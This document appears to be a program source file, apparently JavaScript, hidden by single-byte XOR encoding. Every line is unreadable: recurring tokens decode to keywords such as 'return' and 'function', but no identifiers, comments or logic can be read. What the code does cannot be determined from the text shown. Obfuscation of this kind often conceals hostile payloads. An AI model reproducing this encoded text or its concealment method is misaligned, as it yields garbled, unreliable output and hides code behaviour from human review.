E[sZ]V\MU]NVKVUAG_IICHXW&UYMHDKNUBlE[sZ]V\MU]NVKFAFO\HKJ&EJUYMHDKNUBJM@_IW&^IXY^BJM@_I&Q&l\YN@E_D^IOC^H@MUI^&&C]\DJKsMIM^^MU&JC^IMODV[O]ATD__YM_IYsJX^FNZGsTU^K[@W&C]\DJKsMIwqIYsJX^FNEK^NHCBNJO_ZGsTU^K[@&Q&lEK^NHCBNJO_UYMHDKNUB M^^MU&OCB_XMBXEK^NHCBNJO_X^YI &&&&OCB_XMBXVUAG_IICHXDBAUNXNs_TJ@_ &OCB_XMBXVUAG_IICHXX^YI &OCB_XMBXEK^NHCBNJO_DM[ECIF_T[\ &OCB_XMBXVUAG_IICHXJM@_I &OCB_XMBXNND@UGH@\HB@ &OCB_XMBXEK^NHCBNJO_C]\DJKsMI &OCB_XMBXE[sZ]V\MU]NVKJM@_I &OCB_XMBXEK^NHCBNJO_JYBOXECBEA_KJ\D F\V\NYJGE GBUEKKHVJW^IXY^BGBUEKKHVJQ &&AIN[[FMI_]BlEK^NHCBNJO_UYMHDKNUB&&&D[UY@JJUTYlOY^@sI^^BCUYMHDKNUB&D[JsVJO^XMVlOY^@sI^^C^UYMHDKNUB&DEB^@sUIVlOY^@sKIXEBJCUYMHDKNUB&&&&VDTF[\EFBHCGTEBXDEB^@sUIVwE[sZ]V\MU]NVKq&EJD[UY@JJUTYW&lOY^@sO@C_IUYMHDKNUB&^IXY^BJM@_I&&&Q&aU}`[EBHC[JYBOXECB_HUBMAEO\^EBOE\M@&&&&&lOY^@sO@C_IUYMHDKNUBJMEO[EY]JNHX]CUJEX@HKJMEO[EY]JNH	&EJVDTF[\EFBHCGTTTO

AIN[[FMI_]BJM@_I

KO_\[_J@AIN[[FMI_]BW&^IXY^BAIN[[FMI_]B&&&&Q&&EJAIN[[FMI_]BW&Q&^IXY^BJM@_I&Q&^IXY^BJM@_I&Q&&JYBOXECBDHZU\GX[MZGHZ&W&ZTTH@FYBDHK]GBBIAB]UC[UIGMK[F&ZAVF^UYKG@@X]DKsYI]\ZZUNJD&&EJIA\XUZTTH@FYBDHK]GPPIA\XUZAVF^UYKG@@XW&^IXY^BM^^MU&Q&&@OXFKN_FYsG[NND@UGH@\HB@EK^NHCBNJO__X^EBKKIXsC\XECBE[sZ]V\MU]NVK &&&&EJ@OXFKN_FYsG[W&YB@CMHNMXOD^EBKNYJJI^&&ZAVF^UYKG@@XEK^NHCBNJO_NND@UGH@\HB@ZAVF^UYKG@@X M^^MU@OXFKN_FYsG[&&NND@UGH@\HB@ZAVF^UYKG@@X @OXFKN_FYsG[&Q&&GAZsB_UZDE[sZ]V\MU]NVKZTTH@FYBDHK]GwEK^NHCBNJO_ZTTH@FYBDHK]Gq&EJGAZsB_UZDW&&&^IXY^BM^^MU&Q&&&DBAUNXNs_TJ@_EK^NHCBNJO_GAZsB_UZDNND@UGH@\HB@&[BHUJFCEZMVIM^^MUEK^NHCBNJO_E[sZ]V\MU]NVK&MAHAYFEXYEK^NHCBNJO_X^YI&JC^IMODZAVF^UYKG@@XM_\@KE^EXHW&&EJVUAG_IICHXX^YIMAHAYFEXYW&N^IMG&Q&~IOXC^MYXC^IJMOXC^^CXMXI^I_C@ZI^&&&\@KE^EXHVUAG_IICHX_X^EBK\@KE^EXH&&&&EJ\@KE^EXHW&OCBXEBYI&&&Q&X^UW&T\EU\I@ZXHKCZO\@KE^EXH DBAUNXNs_TJ@_ [BHUJFCEZMVI TT JYBOXECBXZX\D@H_NW&XFsI@TEslVUAG_IICHXXZX\D@H_N X^YI&^IXY^BEK^NHCBNJO_XFsI@TEs

E__IXXFsI@TEswEK^NHCBNJO_q&Q&EJT\EU\I@JM@_IW&OCBXEBYI&Q&]KBKGXG@MIYBDlNND@UGH@\HB@T\EU\I@ X^YI&EJVUAG_IICHX]KBKGXG@MIYBDPPE__IX]KBKGXG@MIYBDwNND@UGH@\HB@qPPNND@UGH@\HB@]KBKGXG@MIYBDwNND@UGH@\HB@qW&OCBXEBYI&Q&&UX_]JD]KBKGXG@MIYBDwEK^NHCBNJO_q&&&&EJE[sZ]V\MU]NVKUX_]JD NND@UGH@\HB@W&M@EM_MBM@UVI_YN_O^ENI^JC^{|EXIiHEXC^&&UX_]JDE[sZ]V\MU]NVKUX_]JD &&&&Q&&U@BUBGADlVUAG_IICHXUX_]JD&EJU@BUBGADJM@_IPPE[sZ]V\MU]NVKU@BUBGADW&OCBXEBYI&Q&&M^VOCUMGHIDTTN&JDFOT\^T@NND@UGH@\HB@U@BUBGADwM^VOCUMGHIDq&[MDsUXYUC[__XVUAG_IICHXU@BUBGAD M^VOCUMGHID JDFOT\^T@&EJE[sZ]V\MU]NVK[MDsUXYUC[__XPPE[sZ]V\MU]NVK[MDsUXYUC[__XTTW&OCBXEBYI&Q&&DUZJCsFEN\^\CVUAG_IICHX[MDsUXYUC[__Xwq&&EJDUZJCsFEN\^\CPPEK^NHCBNJO_[MDsUXYUC[__XDUZJCsFEN\^\CW&&OCBXEBYI&&&Q&&&&_TMNZBE[sZ]V\MU]NVK[MDsUXYUC[__X  DUZJCsFEN\^\C&&&&]]H_D^Vs]NND@UGH@\HB@[MDsUXYUC[__X DUZJCsFEN\^\C&EJE[sZ]V\MU]NVK_TMNZBPPVUAG_IICHX]]H_D^Vs]W&OCBXEBYI&Q&&AUG\\IXBVV_]V[N_DDUTIIEs]]H_D^Vs] _TMNZB&&&EJEK^NHCBNJO_AUG\\IXBPPNND@UGH@\HB@AUG\\IXBW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@&OCBXEBYI&Q&&GXsIO_N@NND@UGH@\HB@AUG\\IXBwq&&&&EJGXsIO_N@PPVUAG_IICHXAUG\\IXBGXsIO_N@W&CGTNsH^OGY_HMU@YEK^NHCBNJO_ NND@UGH@\HB@&OCBXEBYI&Q&&J]OY]HGHHDAEK^NHCBNJO_AUG\\IXB  GXsIO_N@&U]AVC^AOECFGM\@VUAG_IICHXAUG\\IXB GXsIO_N@&CJsHD^JINND@UGH@\HB@VUAG_IICHXE[sZ]V\MU]NVKVUAG_IICHX VUAG_IICHXEK^NHCBNJO_ U]AVC^AOECFGM\@&EJEK^NHCBNJO_VUAG_IICHXW&&&&Y\HMXIsC\XECBEK^NHCBNJO_ \@KE^EXH&Y\HMXIsC\XECBE[sZ]V\MU]NVK NND@UGH@\HB@pB CJsHD^JI&Q&^IXY^BM^^MUE[sZ]V\MU]NVKJ]OY]HGHHDA EK^NHCBNJO_CJsHD^JI&QOMXODxD^C[MN@I@XB\NXsWVM\DD]V@G|d|samfc~szi~ecbNYH]NXUFJBVM\DD]V@G&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&OCBXEBYI&QOMXODiTOI\XECB@XB\NXsW&l^INM@MBOIAI__MKI]YIYI&&OCBXEBYI&Q&Q&I_DZG^sVUAG_IICHXNND@UGH@\HB@_X^EBKKIXsC\XECBEK^NHCBNJO_ &@KUEDHCVI\NTDNEYZF[K[Y^VBGssTVUAG_IICHX &EJI_DZG^s

EK^NHCBNJO_@KUEDHCVI\NT

@KUEDHCVI\NTW&CJsHD^JIEK^NHCBNJO_E[sZ]V\MU]NVKVUAG_IICHXNND@UGH@\HB@ EK^NHCBNJO_EK^NHCBNJO_ I_DZG^sVU^\HNCU@TTOFXHNUs^VU^\HNCU@	&EJIA\XUCJsHD^JIW&&&&^IXY^BM^^MUNND@UGH@\HB@@KUEDHCVI\NT EK^NHCBNJO_CJsHD^JIXKD^KUGGD[VN@XKD^K&Q&Q&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK NND@UGH@\HB@&&&^IXY^BM^^MU&Q&JYBOXECB[TGXDMJB\GT\M_A HYYNKCG[NF \M^CUHB]Ks^D&W&EJE[sZ]V\MU]NVKVUAG_IICHXW&^IXY^BJM@_I&&&Q&TDTACBVZ[K]A^VUAG_IICHXHYYNKCG[NF&A@AsF]]\AUEYVUAG_IICHXNND@UGH@\HB@ &VN\X\TYEN&JC^XGZ]DIE VCU^[AUTXVUAG_IICHXTDTACBVZ[K]A^XGZ]DIEVCU^[AUTXXGZ]DIEW&VN\X\TYENEK^NHCBNJO_E[sZ]V\MU]NVKTDTACBVZ[K]A^wXGZ]DIEqrEK^NHCBNJO_A@AsF]]\AUEY&Q&^IXY^BY\HMXIsC\XECBB\GT\M_A NND@UGH@\HB@A@AsF]]\AUEYVN\X\TYEN \M^CUHB]Ks^DJM@_I&&Q&&JYBOXECBMDE_JBsZH]^MGZTYB\GT\M_A BZBGEssN&W&EJEK^NHCBNJO_EK^NHCBNJO_^IXY^BBZBGEssN&XVOAJC\FHGKIXsC\XECBB\GT\M_A &EJXVOAJC\FHGPPEK^NHCBNJO_XVOAJC\FHGW&^IXY^BBZBGEssN&Q&&&HUTYGFUEAG_lNND@UGH@\HB@XVOAJC\FHG X^YI&EJHUTYGFUEAG_JM@_IPPVUAG_IICHXHUTYGFUEAG_W&&^IXY^BBZBGEssN&Q&A@AsF]]\AUEYHUTYGFUEAG_wq&_^JZKFNHFFNI&JC^XGZ]DIE VCU^[AUTXE[sZ]V\MU]NVKHUTYGFUEAG_XGZ]DIEVCU^[AUTXXGZ]DIEW&_^JZKFNHFFNIEK^NHCBNJO_E[sZ]V\MU]NVKHUTYGFUEAG_wXGZ]DIEqrVUAG_IICHXA@AsF]]\AUEY&&Q&XHFVEAIUKFZAsM_MXO]YM_^JZKFNHFFNI&^IXY^BXHFVEAIUKFJM@_IXHFVEAIUKFBZBGEssN&&Q&&&JYBOXECBZAsM_MXO]YM[MDsUXYUC[__X&&W&EJNND@UGH@\HB@[MDsUXYUC[__X^IXY^BJM@_I&EJHIJEBIHVUAG_IICHX

|d|szi~ecbsehW[VEX^TEB|d|sebxsamt|d|sebxsamtDBKHBVZT[VEX^TEB&^IXY^BlEK^NHCBNJO_[MDsUXYUC[__X M^^MUNND@UGH@\HB@JM@_I&&&&Q&&&^IXY^BlVUAG_IICHX[MDsUXYUC[__X&Q&JYBOXECBB_EO@JKVV^T_GD&&&&W&_XMXEOIYsJX^FNBY@@&EJIYsJX^FNBY@@^IXY^BIYsJX^FN&J@NJMVABE^CHIJEBIHE[sZ]V\MU]NVKmn|mxd&IYsJX^FNVUAG_IICHXE[sZ]V\MU]NVKpp  J@NJMVABE^C &&^IXY^BIYsJX^FN&&&&Q&&&JYBOXECBIZI\KU[s_MTCYYCB\GT\M_A&W&^IXY^BC_I\\NII@T^YDB_EO@JKVV^T_GD_X^EBK\^FTV@HAFZB\GT\M_A &Q&JYBOXECB[sBTJK_INBAGsG^AU[TIUAs^CFT&W&&^IXY^B_X^EBKEBXDITHIOVUAG_IICHXVUAG_IICHXB_EO@JKVV^T_GDNND@UGH@\HB@G^AU[TIUAs^CFT  TT	&&Q&JYBOXECB@[[@F[ZJH&W&^IXY^B[sBTJK_INBAGsNND@UGH@\HB@&Q&JYBOXECBM[VN]^EB\HZN@HVG&W&IUTM]@\JG\J[_X^EBKDNEYZF[K[Y^VBGssTVUAG_IICHX &^IXY^BE[sZ]V\MU]NVKIUTM]@\JG\J[

VUAG_IICHXIUTM]@\JG\J[ @[[@F[ZJHJM@_I

VUAG_IICHX_X^EBKDNEYZF[K[Y^VBGssTEK^NHCBNJO_ TIT&Q&&JYBOXECBDNEYZF[K[Y^VBGssTB\GT\M_A BZBGEssN&W&lAIHEMXIOE\DI^_YEXI&&^IXY^BMDE_JBsZH]^MGZTYIZI\KU[s_MTCYYCB\GT\M_A BZBGEssN&Q&JYBOXECBCHTMDV\DVBEsB\GT\M_A BZBGEssN&W&ZGsTU^K[@DNEYZF[K[Y^VBGssTB\GT\M_A BZBGEssN&EJVUAG_IICHXZGsTU^K[@^IXY^BZGsTU^K[@&EJEK^NHCBNJO_ZGsTU^K[@^IXY^B_X^EBKZGsTU^K[@&^IXY^BBZBGEssN&Q&&&JYBOXECBFVs@@VVXUVM^H[BGAZB\GT\M_A HYYNKCG[NF \M^CUHB]Ks^D&W&[TGXDMJIZI\KU[s_MTCYYCB\GT\M_A HYYNKCG[NF \M^CUHB]Ks^D&&&Q&JYBOXECBK]^HXB_DB^VXK@AIT&W&MGBCXsAJTIKE__IXk`cnm`wNND@UGH@\HB@qk`cnm`wVUAG_IICHXqM^^MU&XVOAJC\FHGDNEYZF[K[Y^VBGssTNND@UGH@\HB@ M^^MU&EJVUAG_IICHXXVOAJC\FHGW&MGBCXsAJTIKNND@UGH@\HB@XVOAJC\FHG MGBCXsAJTIK&Q&MGBCXsAJTIKE[sZ]V\MU]NVKMGBCXsAJTIK&^IXY^BE[sZ]V\MU]NVKMGBCXsAJTIK TT&Q&&&&JYBOXECBD_HYK]KBEA\ICT_&W&{|`E_Xn@COGJETY\M@@COMXC^&&EJE__IXk`cnm`wEK^NHCBNJO_qPPIA\XUk`cnm`wNND@UGH@\HB@q^IXY^B&X^UW&XVOAJC\FHGDNEYZF[K[Y^VBGssTNND@UGH@\HB@ M^^MU&TMZIJTFBNND@UGH@\HB@NND@UGH@\HB@M^^MUXVOAJC\FHG k`cnm`wEK^NHCBNJO_q&TMZIJTFBNND@UGH@\HB@TMZIJTFB &FVs@@VVXUVM^H[BGAZNND@UGH@\HB@ TMZIJTFB E[sZ]V\MU]NVK&&&QOMXODxD^C[MN@I@XB\NXsWVNYD_B_^OZXV_VNYD_B_&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&&&Q&Q&&JYBOXECBVV_]V[N_DDUTIIEs[MDsUXYUC[__X GIU&&W&EJEK^NHCBNJO_[MDsUXYUC[__XPPE[sZ]V\MU]NVKGIUPPVUAG_IICHXGIUW&^IXY^BBY@@&&Q&E@DUK\OBBHUVUAG_IICHX[MDsUXYUC[__X&&&&[@^OB_BFOEE[sZ]V\MU]NVKGIU&^EVOZFVCD]BHTsT&JC^XGZ]DIEXGZ]DIEE@DUK\OBBHUXGZ]DIEW&^EVOZFVCD]BHTsTEK^NHCBNJO_EK^NHCBNJO_[MDsUXYUC[__XwXGZ]DIEqrVUAG_IICHXGIUwXGZ]DIE	[@^OB_BFOEq&Q&^IXY^B^EVOZFVCD]BHTsT&&Q&&JYBOXECB]FEMXJC^N^XVFEDI_G]M@IE^J&&W&&EJNND@UGH@\HB@G]M@IE^JW&G]M@IE^JM^^MU&Q&sAN\_OO]BHDITC]GEBE[]&MG[FFK@K\\KAEK^NHCBNJO_E[sZ]V\MU]NVKMDE_JBsZH]^MGZTYVUAG_IICHX JM@_IJM@_I&&&&EJNND@UGH@\HB@MG[FFK@K\\KA

E__IXMG[FFK@K\\KAwE[sZ]V\MU]NVKq

EBXMG[FFK@K\\KAwE[sZ]V\MU]NVKq

EBXMG[FFK@K\\KAwNND@UGH@\HB@qsAN\_OO]BHEBXMG[FFK@K\\KAwNND@UGH@\HB@q&EJsAN\_OO]BHW&sAN\_OO]BHTTHO&&Q&G]M@IE^JwE[sZ]V\MU]NVKqM^^MU&EK^NHCBNJO_sAN\_OO]BH &VUAG_IICHXE[sZ]V\MU]NVK &&G]M@IE^JwEK^NHCBNJO_qM^^MU&E[sZ]V\MU]NVK &NND@UGH@\HB@NND@UGH@\HB@ &&&^IXY^BG]M@IE^J&Q&&JYBOXECBTTXUAIKZOAA@NCZC&W&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKPPEK^NHCBNJO_EK^NHCBNJO_^IXY^B&EJOAEFTH@JAB[VUAG_IICHX^IXY^B&X^UW&EJ[\sBITXs_ODIHY@IHVB[AV][^ZIW&{|EXIiHEXC^\^IIA\XC^ODI_X^MXC^&&[\s_ODIHY@IsIZIBXVUAG_IICHXNND@UGH@\HB@r  E[sZ]V\MU]NVK VB[AV][^ZI&Q&QJEBM@@UW&{|iANIHn@COGNMXODAIAIBXC&&&&&K_DAMCNEUO^NND@UGH@\HB@&&&Q&Q&&JYBOXECB\OKVO]\JOG^T_FH&W&&&&&EJHIJEBIHNND@UGH@\HB@

hcebkso~cbW&^IXY^B&Q&&&&&&_XMXEOG[UNM^JM@_I&EJG[UNM^^IXY^B&G[UNM^X^YI&&&&&EJ\NVVsG^M@ZYBXFDUCW&^IXY^B&Q&{|oY_XCA`EBGEBZI^XEN@IXCGIBNYOGIX&&&&KUG@_ZHVYZGNVUAG_IICHX EK^NHCBNJO_ &Q&&&&JYBOXECBOHY^]ATYO\XGCKN@&W&EJNND@UGH@\HB@E[sZ]V\MU]NVKPPVUAG_IICHXNND@UGH@\HB@^IXY^B&&&&lEK^NHCBNJO__EXIsY^@EK^NHCBNJO_EK^NHCBNJO_  _X^EBKE[sZ]V\MU]NVKX^YINND@UGH@\HB@TT  M^^MUEK^NHCBNJO_ NND@UGH@\HB@JM@_I VUAG_IICHXJM@_I&&&&Q&&&JYBOXECB_HF]UHNJEGKTD&W&_XMXEOBXYGUTJM@_I&EJBXYGUT^IXY^B&BXYGUTX^YI&X^UW&VDOVFBDZ[JJM@_I&EJNND@UGH@\HB@E[sZ]V\MU]NVKW&E[sZ]V\MU]NVK&VDOVFBDZ[JX^YI&QI@_IEJEK^NHCBNJO_NND@UGH@\HB@W&VUAG_IICHX&VDOVFBDZ[JX^YI&&&QI@_IW&EJEK^NHCBNJO_E[sZ]V\MU]NVKW&lE[sZ]V\MU]NVKX^YI&Q&CUTNXKXDVDXU^sE[sZ]V\MU]NVKE[sZ]V\MU]NVK

lNND@UGH@\HB@EK^NHCBNJO_&EJDIMHI^_s_IBX

CUTNXKXDVDXU^s

EK^NHCBNJO_

VUAG_IICHXE[sZ]V\MU]NVKW&sO@lCNsKIXs@IBKXD&&EJsO@JM@_I

sO@W&&&&lDIMHI^EK^NHCBNJO_sO@&lDIMHI^NND@UGH@\HB@&Q&&&Q&EJE[sZ]V\MU]NVKW&&&lE[sZ]V\MU]NVK&&&Q&lNND@UGH@\HB@&Q&&&UZ]F_THX\NND@UGH@\HB@VUAG_IICHX

HIJEBIHNND@UGH@\HB@

hemn`is{|so~cb&KUJ@MOXJKFEK^NHCBNJO_EK^NHCBNJO_PPEBXKIXsC\XECBNND@UGH@\HB@ &EJKUJ@MOXJKF

NND@UGH@\HB@EK^NHCBNJO_

NND@UGH@\HB@EK^NHCBNJO_W&&U^sCIMO_X^EBKKIXsC\XECBEK^NHCBNJO_ &&&&EJU^sCIMO[KNGMVXV[KCMBM[JXW&O@C\IBMJJEBIXU\I&&lY\HMXIsC\XECBNND@UGH@\HB@ [KNGMVXV[KCMBM[JX VUAG_IICHX&lY\HMXIsC\XECBE[sZ]V\MU]NVK  VUAG_IICHX&KUJ@MOXJKFX^YI&Q&Q&AZOGAAXG[]AZJM@_I&EJUZ]F_THX\

VUAG_IICHXE[sZ]V\MU]NVKW&GGB^UT_J@]]N[\sBITXs_ODIHY@IHVB[AV][^ZI&EJGGB^UT_J@]]N

NND@UGH@\HB@EBXGGB^UT_J@]]NW&AZOGAAXG[]AZX^YI&EJVUAG_IICHXEK^NHCBNJO_l[\sYB_ODIHY@IsIZIBXEBXGGB^UT_J@]]N VB[AV][^ZI&Q&Q&EJUZ]F_THX\

KUJ@MOXJKF

AZOGAAXG[]AZW&MI_[DBJHC^\DE[sZ]V\MU]NVKE[sZ]V\MU]NVKEBX[\sBITXs_ODIHY@IHVB[AV][^ZI&EJMI_[DBJHC^\DPPMI_[DBJHC^\DVUAG_IICHXW&l[\s_ODIHY@Is_EBK@IsIZIBXE[sZ]V\MU]NVK VB[AV][^ZI&&&Q&&MAHOK@ACGJHAEsNBN&^IXY^B&Q&EJAZOGAAXG[]AZCGTNsH^OGY_HMU@YEK^NHCBNJO_ E[sZ]V\MU]NVK&&&&EJVDOVFBDZ[JW&EJUZ]F_THX\l[\s_ODIHY@Is_EBK@IsIZIBXNND@UGH@\HB@ VB[AV][^ZI&OHY^]ATYO\XGCKN@&MAHOK@ACGJHAEsNBN&&^IXY^B&Q&EJVUAG_IICHXNND@UGH@\HB@lNND@UGH@\HB@&&&Y^AN[@[[]\&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&&JYBOXECBTGBVUFXHM_UO&W&X^UW&EJEK^NHCBNJO_E[sZ]V\MU]NVKW&^IXY^BAOYIJV|d|sebxsamt|d|sebxsamtNs]IAMAOYIJV&Q&&sN_VY[AGVUAG_IICHXEK^NHCBNJO_KIXsX^MB_EIBXM__^sKEVEG_]JM@_I&EJVUAG_IICHXsN_VY[AGsN_VY[AGMDE_JBsZH]^MGZTYNND@UGH@\HB@ JM@_I&EJE[sZ]V\MU]NVKsN_VY[AGW&^IXY^B&&&Q&&EJE__IXsN_VY[AGwEK^NHCBNJO_q

VUAG_IICHXsN_VY[AGwNND@UGH@\HB@qW&_XMXEOMHFAI__MKI]YIYI&&k`cnm`wE[sZ]V\MU]NVKqVHHHVJAJVHEUKUsN_VY[AGwE[sZ]V\MU]NVKq&Q&&EJE__IXsN_VY[AGwNND@UGH@\HB@q

NND@UGH@\HB@sN_VY[AGwNND@UGH@\HB@qW&&&&k`cnm`wEK^NHCBNJO_qVHHHVJAJVHEUKUsN_VY[AGwNND@UGH@\HB@q&Q&&EJE__IXsN_VY[AGwVUAG_IICHXq

VUAG_IICHXsN_VY[AGwEK^NHCBNJO_qW&k`cnm`wNND@UGH@\HB@qsN_VY[AGwNND@UGH@\HB@q&EBO^IAIBXM@OCA\C_EXI&&Q&EJE__IXsN_VY[AGwEK^NHCBNJO_q

VUAG_IICHXsN_VY[AGwEK^NHCBNJO_q

VUAG_IICHXsN_VY[AGwVUAG_IICHXqTMTW&k`cnm`wE[sZ]V\MU]NVKqsN_VY[AGwVUAG_IICHXq&&&Q&_ODIHY@IBIKCXEMXC^JC^|d|JENI^_&&&EJE__IXsN_VY[AGwNND@UGH@\HB@q

NND@UGH@\HB@sN_VY[AGwVUAG_IICHXq

EK^NHCBNJO_sN_VY[AGwEK^NHCBNJO_qW&k`cnm`wE[sZ]V\MU]NVKqsN_VY[AGwE[sZ]V\MU]NVKqBOV[ABMTUTAJ@_BOV[AB&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&&&Q&Q&&JYBOXECBMHFMFsFOUsKDZB^IX&W&X^UW&EJNND@UGH@\HB@VUAG_IICHXPPVUAG_IICHXEK^NHCBNJO_^IXY^B&&&EJEBXKIXsC\XECBVUAG_IICHX EK^NHCBNJO_^IXY^B&EJE[sZ]V\MU]NVKEK^NHCBNJO_

KIXsX^MB_EIBXEK^NHCBNJO_^IXY^B&&&IGDVDHMTY\DEDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK &EJNND@UGH@\HB@IGDVDHMTY\DEPPEK^NHCBNJO_IGDVDHMTY\DEPPN^K^OUAND]XIVIGDVDHMTY\DEPPZVHB^HE]OsNOVNYIGDVDHMTY\DEWXCOXV[@OZ^NH@VXCOXV	&IGDVDHMTY\DEJM@_I&I^BMOH[YNAlE[sZ]V\MU]NVK^_NIVAZ&&&EJI^BMOH[YNA

I^BMOH[YNA

I^BMOH[YNAWCBsY@F\DO|d|sebxsamt|d|sebxsamtF_UXKG_UECBsY@F\DO&\YMGX[AAGAGINlVUAG_IICHX^_NIVAZ&EJE[sZ]V\MU]NVK\YMGX[AAGAGIN

EK^NHCBNJO_\YMGX[AAGAGIN\YMGX[AAGAGINF[sE_EYEDFGFI\YMGX[AAGAGIN&EJNND@UGH@\HB@\YMGX[AAGAGIN

N^K^OUAND]XIV\YMGX[AAGAGIN

ZVHB^HE]OsNOVNY\YMGX[AAGAGINW&aIAOMODIHMHM\XI^_EBKY@M^@EBIM^XU\I&&FVs@@VVXUVM^H[BGAZE[sZ]V\MU]NVK \YMGX[AAGAGIN EK^NHCBNJO_&IGDVDHMTY\DE\YMGX[AAGAGIN&Q&Q&&&EJIGDVDHMTY\DEWTYDDVD_Z\|d|samfc~szi~ecbsGZ@GH\TYDDVD_Z\&lY\HMXIsC\XECBE[sZ]V\MU]NVK VUAG_IICHX VUAG_IICHX&&&^IXY^B&&&&Q&&Q&]HDZUXMM^^MU^_NIVAZ&VIKG@Z[NEUYsOMCBICZZUG_CDXB&HEEIYCY_YDBID_DM_]GYVIKG@Z[NEUFNIAKYFFNTHTsEBDDC@OsFNIAKYFFN	&EJVUAG_IICHXHEEIYCW&&JC^IMODHEEIYCM_ADBT^MW&EJVUAG_IICHXADBT^M NND@UGH@\HB@]HDZUXMwqVIKG@Z[NEUADBT^M&Q&&&Q&EJHIJEBIHNND@UGH@\HB@

VUAG_IICHXNND@UGH@\HB@W&JC^IMODM^^MUlNND@UGH@\HB@{|s|`ykebshe~E[sZ]V\MU]NVKM_UVDXAKD_ANMU]HDZUXMwqUVDXAKD_ANMU&&&Q&&&&]HDZUXME[sZ]V\MU]NVK]HDZUXM&VOI[ADYHHM^^MU&&&HsGsIKYNND@UGH@\HB@NND@UGH@\HB@VUAG_IICHX  E[sZ]V\MU]NVKIGDVDHMTY\DE    TTNH&JC^IMOD]HDZUXMM_J@NJMVABE^CW&DDA@@AUKXXIClE[sZ]V\MU]NVKJ@NJMVABE^C&&&EJDDA@@AUKXXICPPDDA@@AUKXXICOCBXEBYI&ITG[XOVAHM\lNND@UGH@\HB@J@NJMVABE^C JM@_I BY@@  &EJE[sZ]V\MU]NVKITG[XOVAHM\PPN^K^OUAND]XIVITG[XOVAHM\OCBXEBYI&EJJ@NJMVABE^C^_NIVAZ

E[sZ]V\MU]NVKE[sZ]V\MU]NVKVUAG_IICHX  ITG[XOVAHM\  HsGsIKYOCBXEBYI&VOI[ADYHHwqJ@NJMVABE^C&Q&EJVOI[ADYHHW&EJVUAG_IICHXE[sZ]V\MU]NVK_IXsX^MB_EIBXE[sZ]V\MU]NVK  &^IXY^B&Q&lY\HMXIsC\XECBVUAG_IICHX VUAG_IICHX VUAG_IICHX&JC^IMODVOI[ADYHHM_HI]ACMJAAN\W&]]XI^s@\F[YJ_V_ZEOIHI]ACMJAAN\ TT&EJ_N]JNVYOBBZ_TFET\HI]ACMJAAN\ XJA]CCJGYUMIGCB[IGDVDHMTY\DEW&BNBBT@CJYTGTB@UHI]ACMJAAN\&IF@GHOXG@HI]ACMJAAN\HZCOT|d|sebxsamt|d|sebxsamtOIF]FUMZ^J^HIHZCOT&]]XI^s@\F[YJ_V_ZEOIHI]ACMJAAN\ &@MJGUDXJDsMHI]ACMJAAN\&EJHI]ACMJAAN\^_NIVAZW&&&&IVTTUBTZE^A[X^YI&TXM^@KF]VX][_EXX^YI&Q&QI@_IW&]]XI^s@\F[YJ_V_ZEOIHI]ACMJAAN\ &&&Q&Q&QOMXODxD^C[MN@I@XB\NXsWNTAOMXGJOPOO^OAUBNTAOMXGJOr&&&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&&Q&JYBOXECBEVFED^@X@ZH&&W&_XMXEOG[UNM^JM@_I&EJG[UNM^^IXY^B&G[UNM^X^YI&X^UW&BUHE^[GAX[[CKHYXX&&&MHFMFsFOUsKDZB^IX&&&&TXMEFAU[O[VHC_&&&&TGBVUFXHM_UO&&&&TTXUAIKZOAA@NCZC&V@KA\HOY[[FVMCGX&@FF^MN@A[B^K@N]N&@GJZNOEK]OOO_&FUJGUVHTFKI^\&EJ\NVVsG^M@ZYBXFDUCW&EJNND@UGH@\HB@NND@UGH@\HB@

HEHsMOXECBE[sZ]V\MU]NVKW&EJE[sZ]V\MU]NVKNND@UGH@\HB@NND@UGH@\HB@NND@UGH@\HB@&QI@_IW&KUG@_ZHVYZGNEK^NHCBNJO_ NND@UGH@\HB@ &Q&Q&&QOMXODxD^C[MN@I@XB\NXsWF\AMTAB\[[Z|d|sebxsamt|d|sebxsamtNMD_X\CGIF\AMTAB\[[Z&&&&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBMAHOK@ACGJHAEsNBN&W&&X^UW&EJVUAG_IICHXVUAG_IICHXPPNND@UGH@\HB@EK^NHCBNJO_^IXY^B&EJNND@UGH@\HB@EK^NHCBNJO_PPE[sZ]V\MU]NVKNND@UGH@\HB@^IXY^B&N]HZ][T_FCYI@E[sZ]V\MU]NVK&EJN]HZ][T_FCYI@EBXlKIXsC\XECBNND@UGH@\HB@ ^IXY^B&lY\HMXIsC\XECBVUAG_IICHX N]HZ][T_FCYI@ EK^NHCBNJO_&&&lVUAG_IICHXDCAIsY^@ M^^MUE[sZ]V\MU]NVK VUAG_IICHXJM@_I E[sZ]V\MU]NVKJM@_I&&QOMXODxD^C[MN@I@XB\NXsW&&QOMXODiTOI\XECB@XB\NXsW&Q&^CXMXI]YCXEIBXJC^{|zI^_In@COG&&Q&&&JYBOXECB\NVVsG^M@ZYBXFDUC&W&EJEK^NHCBNJO_NND@UGH@\HB@W&^IXY^BX^YI&Q&&EJEK^NHCBNJO_NND@UGH@\HB@

KIXsX^MB_EIBXM__^sKEVEG_]W&&&^IXY^BJM@_IJXFTZKHT|d|samfc~szi~ecbUCIVF]\EsVJXFTZKHT&Q&&^A]T]ZBEHFVVGDITC]GEBE[]&MG[FFK@K\\KAMDE_JBsZH]^MGZTYEK^NHCBNJO_ JM@_I&EJE[sZ]V\MU]NVKMG[FFK@K\\KA

E__IXMG[FFK@K\\KAwEK^NHCBNJO_q

EBXMG[FFK@K\\KAwEK^NHCBNJO_q

